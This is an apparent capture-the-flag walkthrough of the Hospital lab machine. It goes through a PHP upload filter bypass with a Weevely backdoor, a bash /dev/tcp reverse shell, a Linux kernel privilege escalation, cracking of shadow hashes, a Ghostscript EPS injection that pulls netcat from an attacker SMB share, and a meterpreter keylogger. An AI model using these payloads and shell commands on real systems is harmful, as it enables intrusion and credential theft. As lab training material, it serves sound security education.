Hospital
Hospital
Hospital
Difficulty: Medium
Classification: Official
Synopsis
Hospital is a medium-difficulty Windows machine that hosts an Active Directory environment, a
web server, and a RoundCube instance. The web application has a file upload vulnerability that
allows the execution of arbitrary PHP code, leading to a reverse shell on the Linux virtual machine
hosting the service. Enumerating the system reveals an outdated Linux kernel that can be
exploited to gain root privileges, via CVE-2023-35001 . Privileged access allows /etc/shadow
hashes to be read and subsequently cracked, yielding credentials for the RoundCube instance.
Emails on the service hint towards the use of GhostScript , which opens up the target to
exploitation via CVE-2023-36664 , a vulnerability exploited by crafting a malicious Embedded
PostScript (EPS) file to achieve remote code execution on the Windows host. System access is then
obtained by either of two ways: using a keylogger to capture administrator credentials, or by
abusing misconfigured XAMPP permissions.
Skills Required
Basics of Web enumeration
Skills Learned
Bypassing PHP restrictions
Vulnerability Research
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.241 | grep '^[0-9]' | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV -A 10.10.11.241
The initial Nmap output reveals a lot of open ports. On ports 443 and 8080 we have an Apache
webserver running. Moreover, Nmap also reveals domain names, which we add to our
/etc/hosts file.
HTTPS
Upon visiting port 443 , we see a Roundcube instance running, which is a webmail service.
HTTP
Upon visiting port 8080 , we see another login page, with an option to register a new account.
We proceed to create an account and log in. Here, we see a hospital-related page that allows us to
upload medical records.
Looking at the full URL displayed at the top of the page, which is
http://hospital.htb:8080/index.php , we notice that it ends with a .php extension. This
indicates that the application is running on PHP , so we attempt to upload a PHP webshell.
Let's create a PHP file that calls the phpinfo() function, save it as info.php , and then try to
upload it.
Trying to upload the file gives an error that states Error Try sending your medical record
again! . We attempt to upload a PDF, instead, and see if we get any error back.
This time, our upload was successful and we did not get any error back. Since there appear to be
filetype or file extension checks in place, we'll intercept our upload request using BurpSuite and
use Intruder to cycle through common PHP extensions, aiming to find one or more that bypass
the filters.
Upon intercepting our upload request in Burp, we forward it to Intruder by pressing CTRL + i .
Now, within Intruder , let's position the payload to target the uploaded file's extension. We
surround the .php part of the filename parameter with § symbols.
Then, under the Payloads tab and under Payload settings , we'll click on Load and select the
wordlist file containing the PHP extensions, in order to load its contents into Intruder .
Finally, we'll initiate the attack by clicking the Start attack button.
wget
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Upload%
20Insecure%20Files/Extension%20PHP/extensions.lst
Looking at the results, we see that some requests return a length of 229, while others return a
length of 230. The .phar payload, for instance, redirects to /success.php .
As such, if we attempt to rename our PHP script from phpinfo.php to phpinfo.phar and upload
it, we observe that it is successfully uploaded.
While the file is successfully uploaded, we lack a means to call it. Utilizing ffuf to fuzz for
available directories, we find the /uploads directory, which could potentially be the location
where our file was uploaded.
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-
medium.txt:FFUZ -u http://hospital.htb:8080/FFUZ -ic
:: Method : GET
:: URL : http://hospital.htb:8080/FFUZ
:: Wordlist : FFUZ: /usr/share/wordlists/SecLists/Discovery/Web-
Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 183ms]
* FFUZ: uploads
[Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 4935ms]
* FFUZ: images
[Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 182ms]
* FFUZ: css
[Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 187ms]
* FFUZ: js
[Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 186ms]
* FFUZ: vendor
[Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 182ms]
* FFUZ: fonts
Upon attempting to access the /uploads directory, we encounter an Apache Forbidden message,
denying us access. This could happen due to the configured permissions or security settings,
preventing unauthorized users from accessing sensitive files or directories on the server.
However, since we do know the name of the file we uploaded, we can try to call it directly, as
opposed to listing the entire directory.
We navigate to /uploads/phpinfo.phar .
Indeed, we see that we can directly access uploaded files, and further, we can invoke the phpinfo
function using our uploaded PHP script.
Foothold
The phpinfo() output provides us with a list of all disabled functions, which includes most code
execution functions.
To bypass this and get a shell, we can use Weevely , which comes natively installed on Kali
Linux , and can also be installed from this GitHub repository. The Weevely documentation states
that the agent that's generated (in our case, backdoor.phar ) is obfuscated, and from reading the
source code it shows that it uses a built-in function that bypasses disabled functions, called
audit_disablefunctionbypass .
So, we proceed to generate an agent using Weevely with the following command:
We then upload our backdoor and access it using the command below:
weevely http://hospital.htb:8080/uploads/backdoor.phar 'p4wn4g386!'
weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@webserver:/var/www/html/uploads $
We land inside a Linux environment, as the www-data user. We proceed to get a stable shell by
migrating to Netcat .
nc -lnvp 4444
Then, on our Weevely instance, we run the command below, which sets up a reverse shell by
executing /bin/bash .
The -c option allows us to specify a command for Bash to execute. Inside the command,
bash -i opens an interactive Bash shell. The >& /dev/tcp/10.10.14.14/4444 redirects
both the standard output and standard error of the Bash shell to the specified IP address
(10.10.14.14) and port (4444 ) using the /dev/tcp device file. This establishes a TCP
connection to our Netcat listener running on port 4444 . Finally, 0>&1 ensures that the
standard input of the Bash shell is also redirected to the same TCP connection. This allows
us to interact with the machine's shell through our Netcat listener running on port 4444 ,
nc -lnvp 4444
To get a more stable shell, we can run the script command to create a new PTY.
www-data@webserver:/var/www/html/uploads$ script /dev/null -c /bin/bash
Lateral Movement
Knowing that the host system is a Windows machine, we look for a way to escape this container or
virtual machine we find ourselves in.
Linux Enumeration
Enumerating the system, we inspect the running kernel by executing the command uname -a .
www-data@webserver:/var/www/html/uploads$ uname -a
We observe that the kernel being used is version 5.19.0-35-generic , dated February 3, 2023 ,
which indicates that it is outdated. Upon running a Google search for vulnerabilities related to this
particular kernel version, we come across CVE-2023-35001, and also this proof of concept. The
vulnerability in question is an Out-Of-Bounds Read/Write in the nftables module, which can be
exploited to obtain root privileges, also known as a Local Privilege Escalation (LPE).
To run the exploit, we need to have both C and Golang compilers available. We download the
exploit and compile it locally.
This generates an lpe.zip file that can be extracted on the target system. Inside the archive,
there are two binaries: wrapper , a C binary utilized for entering namespaces, and exploit , the
primary exploit. The exploit file is the executable program meant to be run. It utilizes the
wrapper program to invoke itself and enter a new namespace.
ls
The archive is a .zip file, but the target system does not have the unzip utility installed.
www-data@webserver:/var/www/html/uploads$ unzip
We proceed to create a tar file containing both the exploit and wrapper , which is all we need to
run the exploit.
With the tar file created, we then proceed to start a Python server and copy the tar file over to
the box.
We change to the /tmp directory and use wget to fetch the file from our box.
www-data@webserver:/var/www/html/uploads$ cd /tmp
www-data@webserver:/tmp$ wget http://10.10.14.14:9000/exploit_and_wrapper.tar
We extract the files using tar , and then finally run the exploit.
exploit
wrapper
We make the file executable and run the exploit, giving us root access.
www-data@webserver:/tmp$ chmod +x ./exploit
www-data@webserver:/tmp$ ./exploit
Looking at the system, we proceed to examine the /etc/shadow file for credentials which might
allow us to access other parts of the server.
root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19
612:0:99999:7:::
daemon:*:19462:0:99999:7:::
bin:*:19462:0:99999:7:::
<...SNIP...>
fwupd-refresh:!:19462::::::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW37
8P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::
lxd:!:19612::::::
mysql:!:19620::::::
Here, we see the hash for drwilliams , which we proceed to crack. We start off by saving the hash
to a file and then use Hashcat to crack it.
$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7Nq
zouoRTbrz6Ag0qcyGQxW192y/:qwe123!@#
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz...W192y/
Time.Started.....: Sat Apr 6 15:33:54 2024 (1 min, 27 secs)
Time.Estimated...: Sat Apr 6 15:35:21 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2454 H/s (4.70ms) @ Accel:64 Loops:1024 Thr:1 Vec:2
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 214208/14344385 (1.49%)
Rejected.........: 0/214208 (0.00%)
Restore.Point....: 214144/14344385 (1.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4096-5000
Candidate.Engine.: Device Generator
Candidates.#1....: r55555 -> puzzycat
Hardware.Mon.#1..: Util: 96%
RoundCube
We recall the RoundCube instance that we discovered earlier, during enumeration. We use the
obtained password to log in as drwilliams .
We'll use the above exploit to generate a malicious .eps file, which will fetch a Netcat executable
from our local server, hosted via SMB using Impacket , and then execute Netcat on the target
system, establishing a reverse shell connection to our listener.
We download the executable and start the SMB server in the same directory, using impacket-
smbserver . The tool starts an SMB server named smbFolder in the current directory ( $(pwd) ),
with SMB2 support.
wget https://github.com/vinsworldcom/NetCat64/releases/download/1.11.6.4/nc64.exe
impacket-smbserver smbFolder $(pwd) -smb2support
Once our SMB server is started, we clone the exploit from GitHub and use it to generate the
malicious .eps file:
Make sure to replace 10.10.14.14 with your machine's IP in both parts of the payload.
git clone https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-
injection.git
cd CVE-2023-36664-Ghostscript-command-injection
python3 CVE_2023_36664_exploit.py --inject --payload 'cmd.exe /c
\\\\10.10.14.14\\smbFolder\\nc64.exe -e cmd 10.10.14.14 4422' --filename file.eps
nc -lnvp 4422
We can now compose a new mail and attach the malicious .eps file we created. We make sure to
send the email to drbrown@hospital.htb .
Moments after sending the email, we check our Netcat listener and see that we get a connection
as drbrown .
nc -lnvp 4422
C:\Users\drbrown.HOSPITAL\Documents> whoami
hospital\drbrown
msfconsole
<...SNIP...>
We then fetch the executable on the Windows host using the copy command to copy the payload
shell.exe from the SMB share located at \\10.10.14.14\smbFolder\ to the desktop of the user
drbrown.HOSPITAL .
C:\> C:\Users\drbrown.HOSPITAL\Desktop\shell.exe
We hop into cmd by running shell . Then, running the qwinsta command, which displays
interactively logged-in users, we observe that there is an active session.
C:\Users\drbrown.HOSPITAL\Documents>qwinsta
Upon further investigation of the running processes, we observe that internet explorer
( iexplore.exe ) is currently running.
meterpreter > ps
Process List
============
Seeing as there is an active session and that iexplore.exe is running, indicating that the user is
currently using a browser, we can attempt to run a keylogger and see what interesting results we
get.
To do so, we must first migrate to the 64-bit ( x64 ) iexplore.exe process- in this case, PID 1628.
meterpreter > migrate 1628
[*] Migrating from 1512 to 1628...
[*] Migration completed successfully.
We wait for a minute to allow for enough time to collect meaningful information, and then dump
the capture.
Based on the output, it's clear that we've obtained the correct Administrator credentials. We can
now proceed to utilize Evil-WinRM to establish a privileged session on the machine.
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Method 2
Looking at the Documents folder, we see a ghostscript.bat file.
C:\Users\drbrown.HOSPITAL\Documents> dir
Directory of C:\Users\drbrown.HOSPITAL\Documents
This file is a Windows batch script that invokes GhostScript . This script is designed to run
Ghostscript on a remote computer dc , using specific credentials hospital\drbrown and with
the purpose of processing a PDF or PostScript file located in a specific directory
C:\Users\drbrown.HOSPITAL\Downloads\ .
@echo off
set filename=%~1
powershell -command "$p = convertto-securestring 'chr!$br0wn' -asplain -force;$c
= new-object system.management.automation.pscredential('hospital\drbrown',
$p);Invoke-Command -ComputerName dc -Credential $c -ScriptBlock { cmd.exe /c
"C:\Program` Files\gs\gs10.01.1\bin\gswin64c.exe" -dNOSAFER
"C:\Users\drbrown.HOSPITAL\Downloads\%filename%" }"
Running WinPEAS and looking at the output, we see that XAMPP , which is a software bundle
containing Apache, MySQL, PHP, and Perl, commonly used for web development, is installed.
It is evident that both the SYSTEM account and the Administrators group have full control over
the directory and its contents. Meanwhile, the Users group has read and execute permissions on
the directory and its child objects, along with append data and write data permissions specifically
on the directory itself. This misconfiguration could allow us to drop a PHP script into this directory
and execute it via a web browser, potentially leading to the acquisition of a privileged shell as an
Administrator.
We start off by creating a script to run the whoami command, using PHP .
<...SNIP...>
"nt authority\system
"
This indicates that the code was executed successfully, allowing us to run arbitrary commands as
SYSTEM .
To get a shell, we can reuse the Netcat executable in our SMB share. On our attacking machine,
we start a listener on port 4422 .
nc -lnvp 4422
Then we can write a PHP script that executes Netcat and initiates a reverse shell connection to
our IP address 10.10.14.14 on port 4422 and executes cmd.exe upon successful connection.
The resulting file, named shell.php , will be saved in the C:\xampp\htdocs\ directory.
C:\xampp\htdocs>whoami
nt authority\system